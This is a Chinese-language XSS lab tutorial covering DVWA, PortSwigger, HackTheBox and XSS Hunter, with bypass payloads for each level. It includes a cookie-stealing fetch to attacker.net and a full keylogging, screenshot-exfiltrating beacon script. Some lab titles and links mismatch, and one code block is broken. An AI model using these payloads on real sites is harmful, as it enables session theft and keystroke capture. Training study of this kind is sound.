XSS 实战靶场闯关指南:从 DVWA 初级到 PortSwigger 高级的完整路线
一、为什么要打靶场
XSS 不像 SQL 注入那样可以用 sqlmap 一把梭。XSS 需要你理解浏览器行为、理解 HTML 解析器、理解框架内部、理解 CSP 规则——这些东西看了无数文章也不如亲手在靶场里打一遍印象深刻。
本文按难度递进整理了业界最公认的 XSS 学习靶场,每个给出解题思路和关键 Payload。
二、靶场总览
| 靶场 | 难度 | 适合 | 特色 | 地址 |
|---|---|---|---|---|
| DVWA | ⭐ 入门 | 刚开始学 | 反射型/存储型/DOM 三种类型齐全 | 本地部署 |
| PortSwigger Web Security Academy | ⭐⭐⭐ 进阶 | 系统学习 | 每种漏洞有多道关卡,附 writeup | https://portswigger.net |
| HackTheBox (HTB) | ⭐⭐⭐⭐ 实战 | 真实场景 | 渗透测试综合平台,含 XSS 专项 | https://hackthebox.com |
| XSS Hunter Express | ⭐⭐⭐⭐ 高级 | 写 payload 能力 | 提交 payload,别人访问就触发 | https://xsshunter.com |
| Google XSS Game | ⭐ 入门 | 快速热身 | 交互式,浏览器内直接玩 | https://xss-game.appspot.com |
| Prompt2Shell | ⭐⭐⭐⭐⭐ 高阶 | 红队进阶 | 无 CSP 保护的 React 应用,综合运用 | 私有靶场 |
三、第一关:DVWA(Damn Vulnerable Web Application)
3.1 搭建 DVWA
# Docker 一键部署
docker run -d -p 8080:80 vulnerables/web-dvwa
# 或用 phpstudy / XAMPP / MAMP 本地部署
# https://github.com/digininja/DVWA
# 默认账号: admin / password
# DVWA Security 设置: Low → 方便测试
3.2 反射型 XSS(Reflected XSS)
位置
DVWA → XSS(Reflected)
题目
输入一个名字,页面会显示 "Hello, 你的输入!"。
Low 难度
输入: <script>alert(1)</script>
页面直接输出 Hello, <script>alert(1)</script>!
→ 弹窗
Medium 难度
DVWA Medium 会用 preg_replace 把 <script> 替换成空。
// Payload 1: 大小写混合
<SCRIPT>alert(1)</SCRIPT>
// Payload 2: 不用 script 标签
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
// Payload 3: 双写
<scrscriptipt>alert(1)</scrscriptipt>
High 难度
DVWA High 把输入放进 <input value="..."> 属性里。
// 闭合双引号,跳出属性
" onmouseover="alert(1)" x="
// 结果:<input name="txtName" size="20" value="" onmouseover="alert(1)" x="">
// 用户鼠标悬停在输入框上触发
Impossible 难度
DVWA Impossible 用 htmlspecialchars 做了完整实体转义,无法绕过——这才是正确的防御。
3.3 存储型 XSS(Stored XSS)
位置
DVWA → XSS(Stored)
题目
留言板,名字 + 留言。提交后所有人可见。
Low 难度
Name: admin (20字符限制,注意!)
Message: <script>alert(document.cookie)</script>
提交后,所有人访问页面时 → 弹窗
Medium 难度
Medium 对 Name 字段加了 strip_tags + htmlspecialchars,但对 Message 只加了 mysql_real_escape_string(这防的是 SQL 注入,不是 XSS)。
Name: 随便一个安全的名字
Message: <img src=x onerror="alert(1)">
→ 绕过 Medium
High 难度
High 对 Name 用了 preg_replace('/<(.*)script(.*)>/', '', ...)。
// 方法 1: 事件处理器绕过(Message 字段里)
<svg onload=alert(1)>
// 方法 2: Name 字段用大小写混合
<SCRIPT>alert(1)</SCRIPT>
// 方法 3: 标签内插入换行(HTML 解析器容错)
<script
>alert(1)</script>
3.4 DOM XSS
位置
DVWA → XSS(DOM)
题目
下拉菜单选择语言,URL 里有 default=English 参数。
页面源码:
if (document.location.href.indexOf("default=") >= 1) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write('<option value="' + lang + '">' + lang + '</option>');
}
Low 难度
URL: .../dom-xss.php?default=<script>alert(1)</script>
→ document.write 直接把 payload 写进页面 → 执行
Medium 难度
Medium 用了 document.getElementById("default").value,需要换思路:
// Payload: 利用 #hash 或闭合 value 属性
?default="><script>alert(1)</script>
// 结果:<option value=""><script>alert(1)</script>">...
四、第二关:PortSwigger Web Security Academy(进阶)
https://portswigger.net/WebSecurity 是 PortSwigger(Burp Suite 开发商)出品的免费 Web 安全培训平台,每道 XSS 题都设计得非常好。
4.1 反射型 XSS 练习
Lab 1: 基本反射型 XSS
https://portswigger.net/web-security/cross-site-scripting/reflected/lab-basic-reflected-xss
解题:在搜索框输入 <script>alert(1)</script> 即可。
Lab 2: 反射型 XSS —— 所有标签被替换
https://portswigger.net/web-security/cross-site-scripting/reflected/lab-xss-with-angular-expression-injection
解题:利用 Angular 表达式注入
{{constructor.constructor('return alert(1)')()}}
Lab 3: 反射型 XSS —— 输出在 JavaScript 字符串中
https://portswigger.net/web-security/cross-site-scripting/reflected/lab-reflected-xss-via-breakout-from-javascript-string-with-angle-brackets-encoded
页面代码:
<script>
var account = "<USER_INPUT>";
...
</script>
Payload:';alert(1);//
4.2 DOM 型 XSS 练习
Lab: DOM XSS via document.write()
页面代码:
var store = {
search: function(query) {
document.write('<img src="/images/logos/owasp.png"/>' + query);
}
};
store.search('<?php echo $query ?>');
Payload:"><img src=x onerror=alert(1)>
Lab: DOM XSS via srcdoc
页面代码:
var iframe = document.getElementById('iframe');
iframe.srcdoc = location.search.match(/url=(.*)/)[1];
Payload:?url=<img src=x onerror=alert(1)>
4.3 存储型 XSS 练习
Lab: 存储型 XSS 在评论中
解题:在评论中提交事件处理器
``
test ``4.4 高阶 XSS Lab
PortSwigger 还有一系列绕过 CSP / WAF / 过滤器的高阶 Lab:
| Lab 名称 | 考点 |
|---|---|
| Stored XSS into onclick with angle brackets and double quotes HTML-encoded | 属性内注入 |
| Reflected XSS into attribute with angle brackets HTML-encoded | 属性注入 |
| DOM XSS in innerHTML sink using source location.search | DOM sink |
| DOM XSS in AngularJS expression | Angular sandbox escape |
| XSS via img tag with SVG payload | SVG XSS |
| Stored XSS via JSON data | 服务端 JSON 转义不彻底 |
五、第三关:HackTheBox(综合实战)
5.1 HTB 简介
HackTheBox(https://www.hackthebox.com)是一个渗透测试综合平台,有**独立的 XSS 专项赛道**(Starting Point → Penetration Testing → Web Challenges)。
5.2 HTB XSS 专项推荐
| 挑战名 | 类型 | 核心技巧 |
|---|---|---|
| XSS Stored | Web Challenge | 存储型 XSS + Cookie 窃取 |
| XSS Reflected | Web Challenge | 反射型 XSS + 事件处理器 |
| XSS DOM | Web Challenge | DOM XSS + innerHTML sink |
| Secret Page | Web Challenge | XSS 偷 Session Cookie |
| CSP Bypass | Web Challenge | 绕过 CSP 的多种技巧 |
| My First Box | Starting Point | 含一个简单反射型 XSS |
5.3 典型 HTB 存储型 XSS 解题流程
题目:有一个社交平台,用户可以发帖、评论、私信
步骤 1:侦察
# Burp Suite / Chrome DevTools 观察
# 注册账号 → 发帖 → 看帖子内容怎么渲染
# 发现帖子标题和正文都直接 innerHTML 写入 DOM
# 同时发现"管理员"会定期审核新帖
步骤 2:投递 Payload
// 在帖子正文中提交
<img src=x onerror="
fetch('https://attacker.net/steal?c=' + document.cookie)
">
步骤 3:等待管理员触发
管理员审核新帖时打开你的帖子 → XSS 执行 → 管理员 Cookie 被送到你的服务器。
步骤 4:拿到管理员 Cookie → 接管会话 → 继续打(比如提权、发现其他洞、写 WebShell)
六、第四关:XSS Hunter Express(Payload 写作者的天堂)
6.1 是什么
XSS Hunter(https://xsshunter.com)是一个**让你提交 XSS Payload,等待别人触发**的平台。
流程:
``
- 注册账号,获得一个唯一的 payload 短链
- 把这个 payload 嵌进你找到的 XSS 漏洞里
- 当别人访问时 → Payload 执行 → 你在 XSS Hunter 后台看到受害者信息(IP、UA、Cookie、页面截图)
``
6.2 它提供的"高级" Payload
// XSS Hunter 的 Payload 已经做了很多工作:
// - 窃取 Cookie(如果非 HttpOnly)
// - 截图(利用 html2canvas)
// - WebRTC 获取内网 IP
// - 键盘记录
// - 重定向到钓鱼页
// - 检测同站其他 XSS 点(DOM XSS scanner)
// - 检测其他 tab 是否同域(same-origin tab hijack)
// - 持久化(如果 localStorage 可写)
// - 自动提交 CSRF 请求
6.3 在靶场里嵌入 XSS Hunter Payload
假设你找到一个反射型 XSS 点:
https://target.com/search?q=<YOUR_PAYLOAD>
注册 XSS Hunter 后它给你的 payload 是:
https://xsshunter.com/a/abc123.js
嵌入到 XSS 点里:
https://target.com/search?q=%3Cscript%20src%3D%22https://xsshunter.com/a/abc123.js%22%3E%3C/script%3E
现在只要有人(包括你自己)访问这个链接,你就能在 XSS Hunter 后台看到完整的受害者信息。
6.4 自己写一个简易版 XSS Hunter(练手用)
// payload.js —— 你自己的简易版
(function(){
'use strict';
var BEACON = 'https://attacker.net/xh';
var sessionId = Math.random().toString(36).slice(2,10);
function report(data) {
var img = new Image();
img.onload = img.onerror = function(){};
img.src = BEACON + '?sid=' + sessionId + '&d=' + encodeURIComponent(JSON.stringify(data));
}
// 1. 基础信息
report({
type: 'init',
url: location.href,
ua: navigator.userAgent,
cookie: document.cookie,
referrer: document.referrer
});
// 2. 键盘记录
var buffer = [];
document.addEventListener('keypress', function(e) {
buffer.push(e.key);
if (buffer.length >= 20) {
report({type:'keylog', k: buffer.join('')});
buffer = [];
}
}, true);
// 3. DOM 截图(如果 html2canvas 可用)
function tryScreenshot() {
if (typeof html2canvas === 'function') {
html2canvas(document.body, {logging:false}).then(function(c) {
c.toBlob(function(b) {
var xhr = new XMLHttpRequest();
xhr.open('POST', BEACON, true);
var fd = new FormData();
fd.append('s', b, 'shot.png');
fd.append('sid', sessionId);
xhr.send(fd);
});
});
} else {
// 动态引入 html2canvas
var s = document.createElement('script');
s.src = 'https://cdn.jsdelivr.net/npm/html2canvas@1.4.1/dist/html2canvas.min.js';
s.onload = tryScreenshot;
document.head.appendChild(s);
}
}
setTimeout(tryScreenshot, 2000);
// 4. 周期性心跳
setInterval(function() {
report({type:'heartbeat', url: location.href});
}, 10000);
})();
七、靶场闯关路线图
第一阶段:入门(1-2 周)
- 部署 DVWA,把三种 XSS 在 Low/Medium/High 下全部打一遍
- 打 Google XSS Game(5 关,快速热身)
- 理解"为什么黑名单过滤绕不过 DOM XSS"
第二阶段:进阶(2-4 周)
- 完成 PortSwigger 的 Reflected XSS 全部 8 道题
- 完成 PortSwigger 的 DOM XSS 全部 5 道题
- 完成 PortSwigger 的 Stored XSS 全部 4 道题
- 每道题写出自己的 writeup(攻击点、Payload、原理)
第三阶段:综合(4-8 周)
- 注册 XSS Hunter,给自己找的 XSS 点挂上 payload
- HTB Starting Point 全部打完(含 3 个有 XSS 的机器)
- HTB Web Challenges 完成 XSS 专项 10+ 道
- 学习 CSP Bypass(我们前一篇文章里的 12 种绕过)
第四阶段:高阶(长期)
- 尝试在你自己公司的产品上找 XSS(走合法流程,签渗透授权)
- 写一个自动化 XSS 扫描小工具(比如结合 puppeteer + sink hook)
- 关注 PortSwigger 最新的 XSS Research(他们经常发新的 bypass 技巧)
- 研究 mXSS(Mutation-based XSS)—— DOM 解析器在不同浏览器下的差异利用
第五阶段:红队(资深)
- XSS Hunter Pro 实战(付费版,有更高级的 C2 面板)
- BeEF 联动 Metasploit 打内网
- Chrome 零日计划(如果你的 XSS payload 能绕过 Chrome 最新 CSP,Google 会给钱)
- 撰写 CVE 级别的 XSS 漏洞报告
八、Writeup 模板(每次打靶后写)
养成写 writeup 的习惯——输出比输入更重要。参考模板:
# 靶场 Writeup: [靶场名] - [关卡名]
## 1. 题目描述
(靶场给出的原题描述截图或文字)
## 2. 信息收集
(页面功能、输入点、响应头、JS 文件、DOM 结构……)
## 3. 漏洞定位
(哪个位置、哪种类型 XSS、Source/Sink 是什么、为什么存在)
## 4. 绕过/Payload 过程
(从失败的 payload → 成功的 payload 的完整尝试链)
## 5. 最终 Payload
(能复现的最短 payload)
## 6. 攻击影响
(能做什么:Cookie 窃取?钓鱼?内网扫描?)
## 7. 修复建议
(输入过滤 / 输出转义 / CSP / HttpOnly Cookie……)
## 8. 学习收获
(这个题让我理解了什么新知识点)
九、常见坑与避坑指南
9.1 "为什么我打的 XSS 没弹窗?"
| 可能原因 | 检查方法 |
|---|---|
| CSP 拦截 | DevTools → Console 看有没有 Content Security Policy 错误 |
| 浏览器把 payload 当成文本 | 检查是否正确进入了 HTML 上下文 / JS 上下文 |
| 输入被 HTML 转义 | DevTools → Elements 面板查看输入点渲染后的 HTML 源码 |
| 过滤器拦截 | 看 HTTP 响应内容里你的 payload 被改成了什么 |
| SameSite Cookie | 这不影响 XSS 执行本身,但可能影响后续 CSRF |
9.2 绕过 WAF 的思维方式
当 WAF 拦截了你的 payload:
1. 缩小:从 <script>alert(1)</script> → <img src=x onerror=alert(1)> → 去掉alert只写图片
2. 编码:URL 编码 / HTML 实体 / 双重编码 / Unicode
3. 变异:大小写 / 换行 / 注释 / 标签名扭曲
4. 换类型:反射型 → 存储型 → DOM 型(前两种 WAF 能拦截,DOM 不行)
5. 组合:把多个小 payload 拼成一个
6. 利用:如果 WAF 只看 GET,试试 POST;如果只看 query,试试 body
9.3 "我需要什么前置知识?"
打 XSS 靶场不需要太多前置——下面这些够用:
- ✅ HTML / CSS / JavaScript 基础
- ✅ HTTP 请求基础(GET/POST/Cookie/JSON)
- ✅ Chrome DevTools 会用(Network / Elements / Console / Sources)
- ✅ 正则表达式基础(理解过滤器在做什么)
- ⏳ 可选:PHP / Node.js / Python 后端基础(理解为什么后端会引入 XSS)
十、推荐学习资源大合集
10.1 理论书籍/文档
| 资源 | 说明 |
|---|---|
| MDN Web Docs - Cross-Site Scripting | 官方文档,权威可靠 |
| PortSwigger Web Security Academy | 最佳免费学习平台 |
| OWASP XSS Prevention Cheat Sheet | 防御端清单 |
| Hacking Web Apps (O'Reilly) | 实战书籍 |
| The Web Application Hacker's Handbook | 经典渗透书籍 |
10.2 CTF 专项资源
| 资源 | 说明 |
|---|---|
| XSS Game (Google) | https://xss-game.appspot.com |
| Damn XSS | https://github.com/interactions-corp/damn-xss |
| Zap XSS Payloads | https://github.com/xsscavenger/zap-xss-payload-generator |
| PayloadAllTheThings/XSS | https://github.com/swisskyrepo/PayloadsAllTheThings |
| Cheatography - XSS | XSS Cheatsheet |
10.3 社区
| 社区 | 说明 |
|---|---|
| PortSwigger Research | 顶尖安全研究员的博客 |
| ph0wn.org | 红队 XSS 最新技巧 |
| Twitter: @HackersPedia | 安全资讯 |
| GitHub Topics: xss-exploit | 开源 payload 集合 |
10.4 自动化工具
| 工具 | 说明 |
|---|---|
| Burp Suite Pro | 渗透测试核心工具,内置 XSS 扫描 |
| xsstrike | Python XSS 扫描器(黑名单绕过 + DOM XSS 检测) |
| w3af | Web 应用攻击与审计框架 |
| DOMPurify Test Hook | 检测前端 HTML sink |
| XSS Hunter | 被动扫描 + 管理面板 |
十一、最后几句话
XSS 是一门永不过时的技能——从 1998 年被首次公开到今天,没有任何一个 Web 应用敢说自己"绝对没有 XSS 漏洞"。浏览器在不断修复、框架在不断改进、防御工具在不断升级,但攻击者也在不断找到新的绕过方式。
打靶场的正确姿势:
- 先自己动手写 payload,不看 writeup
- 卡壳了再看 writeup,对比自己的思路和标准答案
- 打完后不看 writeup 自己重做一遍
- 尝试用不同的 payload 达到同样的目的
- 写出 writeup 分享(写一遍比看十遍印象深)
安全行业有一句经典的话:不懂攻击,就不不懂防御。
当你能独立写出一个存储型 XSS + 完整后渗透 payload,并能说出它在现代框架里的各种危险 API 和绕过 CSP 的思路时——你才真正理解了为什么"所有动态内容都要做转义"这句话是 Web 安全的基石。
去打靶吧。祝好运!